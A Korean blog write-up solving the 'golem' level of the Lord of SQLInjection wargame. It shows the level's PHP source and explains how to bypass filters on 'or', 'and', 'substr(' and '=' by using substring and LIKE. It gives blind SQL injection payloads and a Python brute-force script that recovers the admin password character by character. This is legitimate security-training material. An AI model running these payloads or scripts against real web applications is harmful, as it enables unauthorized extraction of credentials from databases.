Lord of SQLInjection
los.rubiya.kr
los의 골렘을 처리해보자.
기본 쿼리문 및 소스코드는 아래와 같다.
소스코드를 살펴보자.
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");
highlight_file(__FILE__);
?>
blind sql injection을 통해 pw를 정확히 알아내어야 문제를 해결할 수 있을 것 같다. 이번에는 or, and에 substr를 필터링 해두었다. 그런줄 알았는데! 자세히 보니 substr( 를 필터링 한 것이었다. 나는 substring을 쓰고 있었으니 계속 쓸 수 있다! 앗싸 인줄 알았는데; =도 필터링 되어 있다..
=부분은 우회 하는 방법을 모르겠어서 다른 라업의 힌트를 봤는데 like나 between 으로 대체할 수 있다고 한다!
찾아보니까 between은 부등호 우회에 가깝고, 등호는 like나 in으로 대체할 수 있는 것 같다. 나는 like를 사용하고자 한다.
1. 비밀번호 길이 찾기
pw: '||length(pw) like 8--+
url: ?pw=%27||length(pw)%20like%208--+
query : select id from prob_golem where id='guest' and pw=''||length(pw) like 8-- '
비밀번호의 길이는 8이다. 계속 8이라서 너무 좋다. ㅎㅎ
2. 비밀번호 찾기
비밀번호를 한글자 씩 찾기 위해서는 아래처럼 입력하면 된다.
pw: '||id like 'admin'&&ascii(substring(pw,1,1)) like 48--
query : select id from prob_orge where id='guest' and pw=''||id='admin'&&ascii(substring(pw,1,1))=48-- '
&& 때문에 pw 값은 파이썬에서 직접 파라미터에 넣어주어야 && 뒷 부분이 다른 파라미터로 인식되어 날라가는 일이 없다. 파이썬 코드는 아래와 같다.
import requests
import time
URL="https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"
params = {'pw':''}
cookie={
"PHPSESSID":"hfq78ei0h9rmlo9jl10lkb7kd3"
}
password = ''
start = time.time()
for i in range(8):
print(i, end=' ')
for j in range(32, 127):
params['pw'] = "'||id like 'admin'&&ascii(substring(pw,{},1)) like {}-- ".format(i+1, j)
res = requests.get(URL, params=params, cookies=cookie)
#print(i, j, res.text)
if "Hello admin" in res.text:
print("found!:{} : {}".format(i, chr(j)))
print(res.text)
password += chr(j)
break
print(password)
end = time.time()
print(end - start)
orge때랑 유사하다. =를 like로 바꾸었고, 대소문자 구문을 위하여 ascii()함수를 추가로 사용하였다.
pw는 77d6290b 이다.
'해킹 > LoS(Lord of SQL Injection)' 카테고리의 다른 글
[Los] bugbear 풀이 (0) | 2022.06.12 |
---|---|
[Los] darkknight 풀이 (0) | 2022.06.12 |
[Los] skeleton 풀이 (0) | 2022.06.12 |
[Los] vampire 풀이 (0) | 2022.06.12 |
[Los] troll 풀이 (0) | 2022.06.12 |